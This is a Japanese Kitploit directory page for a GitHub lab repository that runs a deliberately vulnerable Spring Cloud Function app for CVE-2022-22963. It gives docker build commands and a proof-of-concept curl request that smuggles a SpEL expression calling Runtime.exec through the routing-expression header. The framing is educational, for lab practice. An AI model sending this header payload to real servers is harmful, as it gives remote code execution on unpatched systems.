Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに！

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2022-22963 — Spring Cloud Function 脆弱性アプリケーション / CVE-2022-22963 | Kitploit
ツール/GitHubGitHub/me2nuk/cve-2022-22963
脆弱性分析エクスプロイトウェブアプリケーション悪用学習と教育ラボと実践
GitHubme2nuk/cve-2022-22963

CVE-2022-22963

Spring Cloud Function 脆弱性アプリケーション / CVE-2022-22963

リポジトリを見る
1924年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Spring Cloud Function 脆弱性(CVE-2022-22963)

CVE-2022-22963 に対する脆弱なアプリケーション

CVE-2022-22963 エクスプロイトデモ

https://user-images.githubusercontent.com/57348147/161266562-51d025f0-54d4-488f-ac50-2317e29bfbdf.mp4

ビルド

root@kitploit:~
docker pull me2nuk/cves:2022-22963
docker run -it -p 8080:8080 --name=vuln me2nuk/cves:2022-22963

PoC

root@kitploit:~
curl -X POST  http://0.0.0.0:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("touch /tmp/pwned")' --data-raw 'data' -v
docker exec -it --user=root vuln ls /tmp

参考

  • https://tanzu.vmware.com/security/cve-2022-22963
  • https://github.com/hktalent/spring-spel-0day-poc/blob/main/README.md
  • https://github.com/spring-cloud/spring-cloud-function
  • https://www.lunasec.io/docs/blog/spring-rce-vulnerabilities/
ツールをダウンロード